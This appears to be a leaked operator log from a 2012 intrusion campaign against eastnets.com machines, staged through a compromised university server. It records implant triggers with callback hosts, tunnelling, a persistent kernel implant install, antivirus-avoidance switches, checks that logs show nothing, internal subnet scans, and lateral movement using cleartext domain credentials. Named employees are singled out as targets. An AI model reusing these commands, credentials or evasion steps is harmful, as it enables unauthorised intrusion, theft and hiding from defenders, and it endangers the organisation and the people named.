ISP:	LK
City:	
Phone:	
ISP IP:	65.218.69.150
Source IP:	
FINAL target IP:	
Ops Machine:	LOCALHOST.LOCALDOMAIN
Redirecting Method 1:	INCISION
Redirect Host 1:	192.168.1.3
Redirect Target 1:	10.10.10.180


BEGIN UNIX OPNOTES:

Targets (IP, full domain name, target tags: pitchimpair unsuccessful not_attempted ) : 
---> 202.145.16.4          sunblade.kouku-dai.ac.jp       pitchimpair          unix      successful    
---> 192.168.1.3           endxbmail001.eastnets.com      jeepflea_market      windows   successful    
----> 10.10.10.180         store.eastnets.com             jeepflea_market      windows   successful    
---> 10.10.10.90           endzr-ard.eastnets.com         jeepflea_market      windows   successful    
Ops Machine: WO
Results:

PROJECT=JEEPFLEA_MARKET
OPUSER=57728
OPSCHEDULE=12110110015132
SCRUBVER=6.006000035


======================= P0
--- 202.145.16.4 --- sunblade
=======================
2012-11-07 05:15:23 UTC  ourtn -wBIN -eY5U /current/up/noserver 202.145.16.4 
2012-11-07 05:15:38 UTC  on target
2012-11-07 05:16:00 UTC  Uptime:  37 day(s),  5:45:14
2012-11-07 05:17:04 UTC  logs are clean
2012-11-07 05:17:28 UTC  setting up tunnels
-rawsend 444
-tunnel
r 443 192.168.254.72
r 31219 192.168.254.72

2012-11-07 10:11:55 UTC  tunnels down
2012-11-07 10:12:45 UTC  logs clean
2012-11-07 10:13:12 UTC  of target




LOCALHOST.LOCALDOMAIN: scrubhands v. 6.006000035 20121107-0505
###################
SCRUBHANDS v6.006000035 (suite v6.6.0.35 run in /192.168.254.71) command line:
:
/usr/local/bin/scrubhands -t -S 12110110015132 -I 57728 -P JEEPFLEA_MARKET -n 198.6.1.3 65.218.69.150/224/129
###################
Final lines of bwmonitor.txt:

Wed Nov  7 10:13:19 UTC 2012
          RX packets:50189 errors:0 dropped:0 overruns:0 frame:0
          RX bytes:39381614 (37.5 MiB)  TX bytes:8780195 (8.3 MiB)

###################################################
Project: JEEPFLEA_MARKET
Date: 5:13 AM 11/7/2012

### Lines to assist in automated processing
# Un-comment the "Op Status" line (the line immediately below this one) to mark this op as unsuccessful
#Op Status: Unsuccessful
# Un-comment the "Non-Standard" line (the line immediately below this one) to mark this op as a non-standard
#Non-Standard: True

###################################################
Targets:



Results:

======================= T1
---   192.168.1.3   --- endxbmail001
=======================

Trigger:  SUCCESSFUL - please update IN NEXT OPPLAN 

           ----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
		Target Address    : 213.132.40.101
		Source Address    : 202.145.16.4
		Target Protocol   : TCP
		Target Dst Port   : 110
		Target Src Port   : 3054
		TCP Flags         : 0x02
		Keyfile           : D:\DSZOPSDisk\Resources\Pc\Keys\jeepflea_market\private_key.bin
		Callback Address  : 202.145.16.4
		Callback Dst Port : 443
		Callback Src Port : 0
		Redirect through  : 192.168.254.71:444
		Final Destination : 192.168.1.3
		Id                : 0x0000000100011bd2
		Packet Trailer    : 0x4a11

           ----====**** CORDIALFLIMSY TRIGGER END ****====----

5:21 AM 11/7/2012 trigger sent - no callback
5:28 AM 11/7/2012 retriggered with no CB source port - nope
5:32 AM 11/7/2012 retrigger with the updated PCID
5:35 AM 11/7/2012 CALLBACK RECV
5:35 AM 11/7/2012 WIN2K3 SP 2
5:36 AM 11/7/2012 PSP installed - Kaspersky Endpoint Security 8 for Windows
	| Kaspersky Endpoint Security 8 for Windows                | 8.1.0.831       | Kaspersky Lab              | 2012-08-06   |
	| Kaspersky Security Center Network Agent                  | 9.2.69          | Kaspersky Lab              |              |

5:38 AM 11/7/2012 Uptime: 18 days, 13 hours, 30 minutes, 21 seconds
		  Idle  : 0 days, 0 hours, 4 minutes, 54 seconds


5:39 AM 11/7/2012 Auditing:ON

                     AuditCategorySystem -   Success     Failure
                      AuditCategoryLogon -                      
               AuditCategoryObjectAccess -   Success     Failure
               AuditCategoryPrivilegeUse -   Success     Failure
           AuditCategoryDetailedTracking -                      
               AuditCategoryPolicyChange -   Success     Failure
          AuditCategoryAccountManagement -   Success     Failure
     AuditCategoryDirectoryServiceAccess -   Success     Failure
               AuditCategoryAccountLogon -   Success     Failure


5:41 AM 11/7/2012 logs are clean
	dir -mask * -path * -recursive -max 0 -age 15m

5:53 AM 11/7/2012 NO ZB because of PSP
5:54 AM 11/7/2012 Redirect to target 2  
	monitor packetredirect -listenport 444 
	imr 127.0.0.1 2143 2143

8:38 AM 11/7/2012 logs are clean
8:40 AM 11/7/2012 off target




======================= T2
---  10.10.10.180   --- store
=======================

6:03 AM 11/7/2012 trigger sent - success
           ----====**** CORDIALFLIMSY TRIGGER END ****====----

		Client Version: 2.1.0 (Nov  7 2011 16:44:14)

           ----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
		Target Address    : 10.10.10.180
		Source Address    : 192.168.1.3
		Target Protocol   : ICMP
		ICMP type,code    : 8,0
		Keyfile           : D:\DSZOPSDisk\Resources\Pc\Keys\jeepflea_market\private_key.bin
		Callback Address  : 192.168.1.3
		Callback Dst Port : 2143
		Callback Src Port : 0
		Redirect through  : 127.0.0.1:444
		Final Destination : 10.10.10.180
		Id                : 0x0000000100010a85
		Packet Trailer    : 0x61ae

           ----====**** CORDIALFLIMSY TRIGGER END ****====----


6:09 AM 11/7/2012 OS:  Win2k3 SP2 32bit 
6:09 AM 11/7/2012 PSP:  Kaspersky Anti-Virus 8.0 for Windows - not comm with cloud
	
	** has been updated
	| Kaspersky Endpoint Security 8 for Windows                    | 8.1.0.831       | Kaspersky Lab              | 2012-08-01   |
	| Kaspersky Security Center Network Agent                      | 9.2.69          | Kaspersky Lab              |              |

	** sad face 
	|   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
	|   THIS VERSION APPEARS TO BE UNSUPPORTED.  PLEASE HARASS THOSE RESPONSIBLE.
	|   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


6:10 AM 11/7/2012b Uptime: 85 days, 1 hours, 39 minutes, 32 seconds
		   Idle  : 0 days, 0 hours, 20 minutes, 4 seconds


6:12 AM 11/7/2012 Procs previously seen... not a threat
	- | 2076 |  524 | C:\WINDOWS\system32                                                      | mapsvc.exe          | NT AUTHORITY\SYSTEM          | 2012-06-14 |                                                            |
	- | 2096 |  524 | C:\WINDOWS\system32                                                      | nfssvc.exe          | NT AUTHORITY\SYSTEM          | 2012-06-14 |                                                            |

6:14 AM 11/7/2012 Auditing:ON - not dorked
6:22 AM 11/7/2012 conficker still on target
6:18 AM 11/7/2012 checking logs - we are clean
	dir -mask * -path * -recursive -max 0 -age 15m

6:38 AM 11/7/2012 need to upgrade to FLAV w/KISU and SOLARTIME

1) install PC KISU w/ FLAV
	PCID = 0x100011ee9
	KISU = Installing pc (0x7a43e1fa)

	Version:  2.2.0.5
Kernel Module Loader:  
    Registry Key:    \registry\machine\SYSTEM\CurrentControlSet\Services\QDLTx32\Parameters
    Registry Value:  {57866E4E-885E-C4AC-1AEA-4F8DA7C95D91}
User Module Loader:  
    Registry Key:    
    Registry Value:  
Module Store Directory:  
    Registry Key:    \registry\machine\SYSTEM\CurrentControlSet\Services\CipcCdp\Parameters
    Registry Value:  {3983D697-20B0-B301-BD80-38DFDA93C8D0}
Launcher:  
    Service Name:    SMBios
    Registry Value:  {57866E4E-885E-C4AC-1AEA-4F8DA7C95D91}
Persistence:  
    Method:  SOTI

Module Id         Size       Order      Flags    Name         Process
=====================================================================
0xbb397f32       62464           0      U  EC    UserModuleLoader 32-Bit  
0xbb397f34          20           0         ECL   Persistence Identifier  
0xd0000102      171520           1  B  D   EC    ntevt       
0xd0000100       87552           1    A U  EC    true        services.exe
    B: BootStart,  S: SystemStart, A: AutoStart,      D: KernelDriver
    U: UserMode,   R: SystemMode,  K: ServiceKey,     E: Encrypted
    C: Compressed, L: DemandLoad,  O: AutoStart Once

7:14 AM 11/7/2012 flav install test ... WOW it worked.
7:21 AM 11/7/2012 we got knocked off the original connection... seems to be ok.
7:26 AM 11/7/2012 psp_avoidance -enable
	- --------------------------------
	- PSP Avoidance changes: SUCCEEDED
	- --------------------------------

7:27 AM 11/7/2012 removing old PC and DMGZ - delete failed needed to pfroadd
	pfroadd c:\windows\System32\wship.dll

7:31 AM 11/7/2012 psp_avoidance -disabled
	- --------------------------------
	- PSP Avoidance changes: SUCCEEDED
	- --------------------------------

7:35 AM 11/7/2012  Run a netmap to find targets of interest
	** Want Sanam Mirchandi if possible, otherwise just an additional UR in the 10.10.10.X subnet

	scansweep -type arp -target 10.10.10.1-10.10.10.254 -period 3s-7s


7:36 AM 11/7/2012 ** TARGETS UP **

       Internet Address         State/Type     Physical Address      Interface
-----------------------------------------------------------------------------------
                   10.10.10.10  Dynamic      00-0C-29-45-41-EB     10.10.10.180
                   10.10.10.49  Dynamic      00-1D-BA-F7-EF-DE     10.10.10.180
                   10.10.10.52  Dynamic      00-16-EA-CA-CD-14     10.10.10.180
                   10.10.10.55  Dynamic      00-26-C6-38-98-30     10.10.10.180
                   10.10.10.56  Dynamic      00-22-FA-98-30-5C     10.10.10.180
                   10.10.10.60  Dynamic      00-1D-72-5D-B5-18     10.10.10.180
                   10.10.10.70  Dynamic      00-13-E8-CB-55-75     10.10.10.180
                   10.10.10.86  Dynamic      00-21-5D-46-D9-3C     10.10.10.180
                   10.10.10.94  Dynamic      E8-39-DF-1B-19-AA     10.10.10.180
                   10.10.10.95  Dynamic      00-16-EA-BB-A2-84     10.10.10.180
                  10.10.10.104  Dynamic      00-1E-65-B2-4C-EA     10.10.10.180
                  10.10.10.124  Dynamic      00-27-13-B3-CA-AA     10.10.10.180
                  10.10.10.134  Dynamic      5C-26-0A-5D-95-83     10.10.10.180
                  10.10.10.147  Dynamic      00-21-5D-45-CE-82     10.10.10.180
                  10.10.10.151  Dynamic      00-21-6A-7F-13-66     10.10.10.180
                  10.10.10.161  Dynamic      5C-26-0A-5D-96-14     10.10.10.180
                  10.10.10.230  Dynamic      00-1F-12-25-AB-05     10.10.10.180



7:37 AM 11/7/2012 scanning up 10.10.10.151 - ragarwal 
	
	NativeOS: Windows 7 Professional 7600
	NativeLanMan: Windows 7 Professional 6.1

7:51 AM 11/7/2012 the old creds failed ....
	dubai-admin dxbr00t
	dubai-admin dxbr00t$$		
	ragarwal ashima2 - local 

	** trying creds updated on 10.10.10.151 - shares = nope


8:00 AM 11/7/2012 scanning 10.10.10.55 - dabbagh

	NativeOS: Windows 7 Enterprise 7601 Service Pack 1
	NativeLanMan: Windows 7 Enterprise 6.1

	** trying creds on 10.10.10.55
		
	creds tried: dubai-admin dxbr00t$$		
	dir \\10.10.10.55\c$\progra~1\Microsoft Forefront UAG\Endpoint Components\3.1.0\
	Windows Defender
	exploit? ** nope ** 

8:08 AM 11/7/2012 scanning up 10.10.10.70 - sanam
		
	NativeOS: Windows 7 Ultimate N 7601 Service Pack 1
	NativeLanMan: Windows 7 Ultimate N 6.1

	shares -target 10.10.10.70 -map IPC$ -credentials dubai-admin dxbr00t$$ EASTNETS	
	dir \\10.10.10.70\c$\progra~1\
	
	Kaspersky Anti-Virus 6.0 for Windows Workstations MP4
	Windows Defender
	exploit? **nope**
	
8:38 AM 11/7/2012 checking the logs... clean
8:39 AM 11/7/2012 off target




======================= T3
---  10.10.10.90   --- ENDXB-ARD
=======================

9:16 AM 11/7/2012 callback recv
9:16 AM 11/7/2012 Uptime: 1 days, 2 hours, 11 minutes, 43 seconds
		  Idle  : 1 days, 15 hours, 51 minutes, 38 seconds	

9:17 AM 11/7/2012 PSP Kaspersky 6.0 
	| Kaspersky Anti-Virus 6.0 for Windows Workstations     | 6.0.4.1212    | Kaspersky Lab   
	PRODUCT NAME:             Kaspersky Anti-Virus 6.0 for Windows Workstations
        VERSION:                  6.0.4.1212


9:18 AM 11/7/2012 new proc - Adobe Acrobat
	- |  748 |  820 | C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat    | AcroBroker.exe       | EASTNETS\ADesear             | 2012-11-07 |   


9:24 AM 11/7/2012 Uptime: 1 days, 2 hours, 11 minutes, 43 seconds
		  Idle  : 1 days, 15 hours, 51 minutes, 38 seconds
	
9:27 AM 11/7/2012 did not dork auditing
9:41 AM 11/7/2012 Memory Load       : 68%%
9:45 AM 11/7/2012 firewall Status:  Disabled
10:09 AM 11/7/2012 downloaded tasking (~20MB)
10:09 AM 11/7/2012 off target





####
# Lines to assist in techsums
# NOTEs and ERRORs will automatically generate a techsum
# You can also enclose any portion of your opnotes in a <TECHSUM> </TECHSUM> block to have that section be included in the
#   techsum automatically.  Like so:
# <TECHSUM>
# Bad things happened.
# Then more bad things happened.
# Then it _really_ got bad.
# </TECHSUM>
#  Please keep the <TECHSUM> and </TECHSUM> on separate lines
#  Um...also, those angle brackets (< and >) are actually there, unlike the formats below
####

###################################################
#
# Create lines like the following (without #) to create targetnotes files
# Targetnotes files are found in the <target IP> directory as targetnotes.txt; you can also create them directly.
# They will be read to automate actions in future ops.
#
# General note to operators
#NOTE (<target IP>): <here is my note>
#
# Do not run this command (it will cause problems on this box)
#DONOTRUN (<target IP>): <command>
#
# This command caused an error (bring it to the attention of the developer)
#ERROR (<target IP>): <command> <optional: what happened>
#
# This process runs all the time and is harmless
#IGNORE (<target IP>): <executable name>
#
# This process was identified
#ID: <process>=<label>